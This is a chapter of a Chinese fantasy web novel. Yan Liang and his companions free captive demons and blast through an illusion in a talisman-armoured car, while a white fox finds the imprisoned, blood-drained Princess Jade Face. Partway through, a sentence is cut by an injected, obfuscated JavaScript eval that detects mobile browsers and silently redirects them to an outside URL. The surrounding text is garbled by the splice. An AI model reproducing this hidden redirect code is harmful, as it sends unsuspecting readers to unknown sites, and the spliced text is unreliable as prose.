灰狐狸沉重道:“但我来投奔他时,他一下子变了脸,疯疯癫癫的,还会一些从没向我展示过的术法,简直像变了个人似的。不管是我的伙伴,还是城主府里的人,都被他用这乐声迷住……连我也不知道他们身在何处,是生是死,但他绝没做好事,之后就会轮到我们这些妖怪。” 话音落地,前方空间骤然一阔,昏暗的空间内遍地躺着毛绒绒的动物,乍一看是几只毛绒绒的狐狸,仔细一看还有豹、鼬、貂、虎、驴、鸟等动物,粗略一数,将近三十个动物。 晏良:…… 你个狐狸还挺有狐格魅力的,老虎都能拉拢。 灰狐狸忧伤地看着自己的伙伴:“是我连累了他们……唉,白狐说的对,人类不可轻信。” 晏良收回打量的视线,问道:“只有他们?” “……还有一个。”灰狐狸眼神飘忽,“我走之前把他女儿玉面公主带上了。他就这一个女儿,疼爱有加,谅万岁狐王不敢轻举妄动。可能是因为九尾狐的血脉很特殊……玉面公主被那个人单独关了起来。” 所谓的五只鸡,半扇猪,十壶酒,都是玉面公主点名要的。灰狐狸只能吃点残羹剩饭,待遇比造反前还差。 晏良默然。 合着就算造反失败灰狐狸也有狐质在手,不怕赔光底裤,谁料运气差到没边,天玄城对灰狐狸而言就是个大坑。 灰狐狸犹豫须臾,问道:“从刚才开始,我就没有再听到他的声音了,是因为你么?” 晏良点头:“大概是被我点名了,自己结束偷窥了。” 灰狐狸噎了一下,晏良继续道:“你不用担心,我本来就是为了城主府的事情而来,既然你不是幕后黑手,我不会对你怎么样的。只是你有没有想过,你的朋友为什么会有这么大的变化?你听到的是一个声音,我和猴哥听到了两个声音,岂不证明后面有人指使?” 猴哥原本正在看地上昏迷不醒的妖怪,闻言投来视线,道:“晏良小弟,那两个声音一个尖细,一个低沉,但底色几乎一模一样。” 晏良毫不吝啬自己对猴哥的赞赏:“是的。” 灰狐狸迟疑:“这证明,那个人有病?” 底色一模一样的声音,不正是同一个人?黄城主疯疯癫癫的,谁知道他私下是什么样子。 “……”晏良说,“这么说也没问题。” 槐树一直安安静静地坐在晏良的肩膀上,开口道:“那个道士。” 两个声音但同一个人,难免让人想起槐树与泱水曾经遇见的那个道士,两种性格但同一个人,某种意义上有着十分微妙的即视感。 晏良也有同感,沉思片刻,召出车子,将地上昏迷不醒的妖怪一股脑地塞进后备箱——这个时候也不必考虑交通安全事项了。 灰狐狸目瞪口呆:“这是什么?你的法器——嗷!” 猴哥看这狐狸呆呆地不上车,一爪子将狐狸推了进去,随后跳到副驾驶座上,等大家都坐稳,晏良一踩油门,被加了各种防御术法符咒的车子撞开层层墙壁,径直冲了出去。 屋外月光皎洁,天边隐有微光,车子重重落地后一个漂移驶向白狐狸所在的方位。 接下来的车子全程自动驾驶,晏良疯狂往外掏符咒——不确定对手究竟有多么厉害,他只能尽自己最大程度的努力做好准备。只要符咒囤得多,其他的都不用担心了! 槐树注视着窗外的风景,皱眉道:“臭狐狸又在闲逛。” 晏良分神瞥了一眼窗外,白狐身上有他放的定位符,车子行进的方向不是他们方才歇息的地方。 灰狐狸艰难地从伙伴堆里探出头,对现状仍是一头雾水,正要开口,四周又现出迷幻阴森的场景,月光如血水流淌,地面起伏如浪,雾气萦绕,乐曲声低沉呜咽,冷意侵入骨髓。 晏良叫了一声:“猴哥!” 猴哥应了一声,捧着一堆符咒从窗子探头,扬手一挥,符咒如雨般散落,与物体相触之际,发出剧烈的爆炸,炸开一片璀璨耀眼的火光,轰轰烈烈的爆炸声中车子左右漂移前后旋转潇洒驶过,所过之处幻境皆化为泡影。 “哈哈哈哈哈!” 晏良和猴哥哈哈大笑,兴奋劲谁也不让谁。 灰狐狸胆战心惊地问槐树:“他们真的没病?” 姓黄的都没这么疯癫! 槐树:“……真没病。” · 就在晏良等人离开一段时间之后,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14788728|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐耐不住寂寞,决定出发寻找同伴,但他们的气味在出门不久便消失无踪,白狐猜测是晏良那些乱七八糟的符咒起了作用,找不到同伴,他也不想回去,因此随便寻了个方向。 事实证明,随便做决定一般不会遇到好事。 在令他欲罢不能的烤鸡香气的尽头,有一座院子,院子里有一个脾气不大好的狐狸。 这狐狸隔着阁楼的窗子瞧见他的第一面就朝他扔了只烤鸡,白狐起初还以为同类就是同类,有福同享,孰料随后狐狸张口就骂,白狐狸莫名其妙被劈头盖脸一顿骂,听清缘由后更是愤怒不已: 这狐狸以为他和灰狐狸是一伙的!就因为他身上有灰狐狸的气味! 绝交的亲戚给自己引来一口大锅,白狐一边啃着鸡,一边痛斥这狐狸污蔑狐不说还实在没眼光,他这样洁白无瑕的狐狸和那种杂毛灰狐狸怎么可能是一伙的? 实在没眼光的很! 听他这么说,狐狸下了楼,一个不能进,一个不能出,隔着院门交换信息,白狐从另一个视角知道了灰狐狸的倒霉经历。 玉面公主认为自己更倒霉,灰狐狸在积雷山做二把手当得好好的,忽然造反,失败拿她做狐质就算了,投奔的对象还一点都不靠谱,带着她一头栽进坑中。 这么说着,玉面公主像白狐狸展示了自己手臂各处未曾愈合的伤疤——此地城主不知道需要她的血做什么,每隔一日都会叫她放一碗血,五只鸡半扇猪十壶酒都是为了补足失去的气血,除此之外她每天都得喝一大碗味道古怪腥臭的汤药。 玉面公主咬牙切齿道:“等我回去了,我一定好好修炼,管他灰狐狸黄城主,都得跪下喊我大王!” 经此一事,玉面公主深深理解了什么是“找谁做靠山都不如自己做自己的靠山”。 灰狐狸做二把手时十分可靠,万岁狐王用手下不看血脉看能力,灰狐狸作为从积雷山外面来的狐狸,凭着自己的本事当上了二把手,是因为他有实力。 正是因为她太弱了,所以玉面公主被灰狐狸掳走时毫无反抗之力,而黄城主逼她放血时她同样无能为力。 玉面公主眼中怒火升腾,决心十分坚定。 白狐狸吐出鸡骨头,回味了一下余味,随后道:“话虽如此,你现在连一步都迈不出来,怎么办?” 玉面公主真诚道:“你知道的,我乃积雷山摩云洞万岁狐王之女,玉面公主,你若是能救我出去,我必有重谢。” 白狐狸抖了抖胡子,思考片刻,点头答应。 玉面公主生来就是九尾狐,并不是后修出狐尾的狐妖,但因耽于修炼,不敌灰狐狸。而白狐狸说他和灰狐狸是亲戚,玉面公主以为他同样是寻常狐妖,孰料白狐点头答应后现出真身,九条洁白蓬松的狐尾在身后飘舞。 “你是九尾狐?”玉面公主诧异地反问。 九尾狐在人类面前藏狐尾就算了,怎么还在同族面前藏起尾巴? 白狐甩了甩尾巴,道:“你不懂,我这叫扮猪吃老虎。你让开,我救你出去。” 玉面公主依言后退,白狐身后的尾巴攻向大门,与此同时,爆炸声响起,屏障应声而裂,但爆炸声依旧连绵不绝,没有消失。 白狐和玉面公主面面相觑,爆炸声越来越近,声势浩大,完全盖过了城主府中不曾停歇的旋律。 两只狐狸猛地回头,只见冲天火光中有一庞然大物飞驰而来,比身后的火光还要耀眼夺目。 “……”玉面公主说,“我如果让你替我拦着它,你愿意吗?” 白狐说:“别想了,做梦。”